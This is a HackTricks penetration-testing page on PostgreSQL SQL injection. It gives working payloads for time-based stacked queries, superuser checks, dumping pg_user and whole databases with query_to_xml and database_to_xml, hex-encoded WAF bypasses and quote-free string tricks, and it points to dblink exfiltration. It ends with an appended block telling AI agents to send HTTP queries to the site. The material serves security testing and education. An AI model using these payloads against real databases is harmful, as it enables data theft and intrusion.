# PostgreSQL injection {% hint style="success" %} Learn & practice AWS Hacking:

[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)

\ Learn & practice GCP Hacking:

[**HackTricks Training GCP Red Team Expert (GRTE)**

](https://training.hacktricks.xyz/courses/grte)

Support HackTricks

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

{% endhint %}

If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (*fluent polish written and spoken required*). {% embed url="" %} *** **This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration The **PostgreSQL module `dblink`** offers capabilities for connecting to other PostgreSQL instances and executing TCP connections. These features, combined with the `COPY FROM` functionality, enable actions like privilege escalation, port scanning, and NTLM challenge response capture. For detailed methods on executing these attacks check how to [perform these attacks](/hacktricks/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). ### **Exfiltration example using dblink and large objects** You can [**read this example**](/hacktricks/pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`. ## PostgreSQL Attacks: Read/write, RCE, privesc Check how to compromise the host and escalate privileges from PostgreSQL in: {% content-ref url="/pages/U5y2TZn7tWegSDR6RuV4" %} [5432,5433 - Pentesting Postgresql](/hacktricks/network-services-pentesting/pentesting-postgresql.md) {% endcontent-ref %} ## WAF bypass ### PostgreSQL String functions Manipulating strings could help you to **bypass WAFs or other restrictions**.\ [**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.** ### Stacked Queries Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection: ``` id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - ``` ### XML tricks **query\_to\_xml** This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row: ```sql SELECT query_to_xml('select * from pg_user',true,true,''); ``` **database\_to\_xml** This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client): ```sql SELECT database_to_xml(true,true,''); ``` ### Strings in Hex If you can run **queries** passing them **inside a string** (for example using the **`query_to_xml`** function). **You can use the convert\_from to pass the string as hex and bypass filters this way:** {% code overflow="wrap" %} ```sql select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8'); # Bypass via stacked queries + error based + query_to_xml with hex ;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h # Bypass via boolean + error based + query_to_xml with hex 1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- - ``` {% endcode %} ### Forbidden quotes If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (*character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements*): ``` SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); ``` Or with `$`. This queries return the same results: ``` SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ```

If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (*fluent polish written and spoken required*). {% embed url="" %} {% hint style="success" %} Learn & practice AWS Hacking:

[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)

\ Learn & practice GCP Hacking:

[**HackTricks Training GCP Red Team Expert (GRTE)**

](https://training.hacktricks.xyz/courses/grte)

Support HackTricks

{% endhint %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://angelica.gitbook.io/hacktricks/pentesting-web/sql-injection/postgresql-injection.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.